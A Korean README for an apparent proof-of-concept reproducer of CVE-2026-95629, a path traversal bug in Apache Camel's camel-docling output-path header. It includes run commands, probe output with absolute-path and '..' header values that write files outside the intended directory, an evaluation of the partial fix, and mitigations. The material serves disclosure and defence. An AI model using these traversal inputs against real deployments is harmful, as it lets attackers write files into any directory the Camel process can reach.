
CVE-2026-95629에 대한 실행 가능한 개념 증명 재현기로, Apache Camel camel-docling의 경로 순회 취약점이며 output-path 헤더가 docling의 --output에 그대로 전달됩니다.
--output에 그대로 전달됨DoclingProducer가 CLI 모드(기본값)에서 외부 docling 도구를 실행할 때 CamelDoclingOutputFilePath 헤더의 값을 docling의 --output 플래그에 그대로 전달하는 Apache Camel 취약점에 대한 실행 가능한 개념 증명(PoC) 재현 코드입니다. 정규화되지 않고, 절대 경로나 .. 세그먼트를 포함한 경로도 그대로 허용되며, 이를 제한할 수 있는 엔드포인트 옵션은 없습니다.
| 런타임 | 디렉터리 | 스택 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Docling은 변환 결과(Markdown, HTML, JSON 또는 텍스트)를 해당 디렉터리에 기록하며, 입력 파일 이름을 따라 파일 이름을 지정합니다. 이후 프로듀서는 자신의 임시 디렉터리만 제거하므로 파일은 그대로 남습니다. 따라서 헤더를 설정할 수 있는 주체는 Camel 프로세스가 쓸 수 있는 모든 디렉터리에 변환 출력을 생성할 수 있습니다.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
영향을 받는 빌드에서의 출력(두 런타임 모두 동일):
1) No header at all - the producer picks its own temporary directory
argv docling received: --to md --ocr-lang en --output /tmp/docling-<uuid> /tmp/docling-<uuid>/docling-<n>.tmp
exchange outcome: ok
2) An ABSOLUTE path of the attacker's choosing
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen ...
3) A path with .. segments - watch whether they survive into the argv below
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped ...
4) CONTROL - asking for the same thing through CamelDoclingCustomArguments instead
REJECTED by Camel: IllegalArgumentException: Custom argument '--output' is not allowed because the
output directory is managed by the producer. Use the CamelDoclingOutputFilePath header or endpoint
configuration instead.
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true
/tmp/cve-2026-95629-escaped/document.md : true
>>> PROVEN: ...
프로브 4는 문제의 본질을 보여줍니다. CVE-2026-40047에 대한 수정으로 추가된 사용자 정의 인자 검증은 CamelDoclingCustomArguments에서 --output과 -o를 거부하며, 호출자에게 출력 디렉터리를 대신 이 헤더로 선택하라고 안내합니다. 즉, docling이 어디에 쓰는지를 결정하는 바로 그 값이, 사용자 정의 인자에 적용되는 검사는 전혀 받지 않은 채 명령줄에 도달하는 값이었습니다.
교환 자체는 프로브 2와 3 이후에 실패합니다("이후 실패"). 프로듀서가 변환된 출력을 자신의 임시 디렉터리에서 찾지만 거기에 없기 때문입니다. 이는 표면적인 문제일 뿐입니다. 쓰기는 이미 일어났으며, 이는 마지막의 파일 목록에서 확인할 수 있습니다.
docling 설치가 필요하지 않습니다. 엔드포인트의 doclingCommand 옵션은 CLI를 대신하는 기록용 스탠드인을 가리키며, 이 스탠드인은 전달받은 인자 벡터를 기록하고 docling이 하는 방식대로 --output이 지정한 위치에 파일을 씁니다. 실제 DoclingProducer와 실제 addOutputDirectoryArguments()가 실행됩니다.
이 헤더를 사용하는 것은 CLI 모드뿐이며, docling-serve 모드는 사용하지 않습니다.
CamelDoclingOutputFilePath는 Camel 헤더 네임스페이스에 속하며, Camel의 기본 헤더 필터링을 적용하는 컨슈머(예: JMS 및 Kafka 컨슈머)는 수신 메시지에서 이 네임스페이스를 제거합니다. 이 문제는 라우트가 외부에서 영향을 받은 값을 헤더로 전달하거나, 컨슈머가 해당 필터링 없이 수신 헤더를 매핑하는 경우에 도달됩니다.
작성되는 파일의 내용은 메시지가 전달하는 문서의 변환 결과이므로, 바이트 단위로 그대로 기록되지는 않지만 해당 문서를 제공하는 쪽에 의해 형태가 결정됩니다. 문서가 메시지 본문으로 도착하면 프로듀서는 이를 임의의 임시 이름으로 저장하며, 출력 파일이 그 이름을 갖게 됩니다.
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-docling (DoclingProducer.addOutputDirectoryArguments()) |
| CWE | CWE-22 (경로명의 제한된 디렉터리 제한 부적절) |
| 심각도 | 중간 |
| 공격 벡터 | CamelDoclingOutputFilePath 헤더의 절대 경로 또는 ..를 포함한 디렉터리 |
| 영향 | Camel 프로세스가 쓸 수 있는 모든 디렉터리에 변환 출력 생성 |
| 영향받는 버전 | 4.15.0부터 4.18.5 이전, 4.19.0부터 4.22.2 이전 |
| 수정된 버전 | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24894 |
| 크레딧 | Zhixi "Jace" Sun, 독립 보안 연구원 |
권고: https://camel.apache.org/security/CVE-2026-95629.html
동일 구성 요소, 동일 릴리스 주기의 자매 이슈: CVE-2026-95628 (절대 경로가 사용자 정의 인자 값으로 허용됨).
이제 헤더는 resolveWithinOutputBaseDirectory()를 통해 입력 경로와 동일한 정규화 및 선택적 기본 디렉터리 포함 검사를 받습니다. 그러나 수정 사항이 추가하는 outputBaseDirectory 엔드포인트 옵션은 기본적으로 설정되지 않으며, 자체 문서에 따르면 비어 있을 때 디렉터리 제한이 적용되지 않고 헤더 값은 정규화만 됩니다.
outputBaseDirectory를 설정하지 않은 상태에서 4.22.1 → 4.22.2로 검증했습니다:
3) A path with .. segments - watch whether they survive into the argv below
argv docling received: ... --output /tmp/cve-2026-95629-escaped ... <- normalized
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true <- still written
/tmp/cve-2026-95629-escaped/document.md : true
>>> PARTLY CLOSED: the header was normalized before reaching --output ... It can still name any directory
>>> the Camel process can write to, because the outputBaseDirectory option the fix added is UNSET by
>>> default ... Set outputBaseDirectory on every docling endpoint whose CamelDoclingOutputFilePath header
>>> can carry a value influenced from outside the deployment; upgrading alone is not enough.
드라이버는 이 상태를 수정된 것으로 부르지 않고 별도로 보고하는데, 이는 대부분의 배포가 업그레이드 직후 바로 이 상태에 놓이기 때문입니다. 업그레이드 후에는 헤더가 외부에서 영향을 받은 값을 담을 수 있는 모든 docling 엔드포인트에서 outputBaseDirectory를 설정하십시오.
main에서 apache/camel#26737 (48485d40)로 수정되었으며, camel-4.22.x에는 #27365로, camel-4.18.x에는 #27362로 백포트되었습니다.
배포 외부에서 유래한 값으로 CamelDoclingOutputFilePath를 구성하지 마십시오. 외부에서 도착한 메시지가 docling 엔드포인트에 도달하기 전에 해당 헤더를 제거하십시오. 그리고 수신 헤더를 매핑하는 컨슈머가 Camel 헤더 네임스페이스를 제거하도록 하십시오.
이 저장소는 교육 및 방어 목적으로 게시되었습니다. Apache Camel 사용자가 취약점을 이해하고, 영향을 받는지 확인하며, 업그레이드로 해결되는지 검증할 수 있도록 돕기 위함입니다. 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.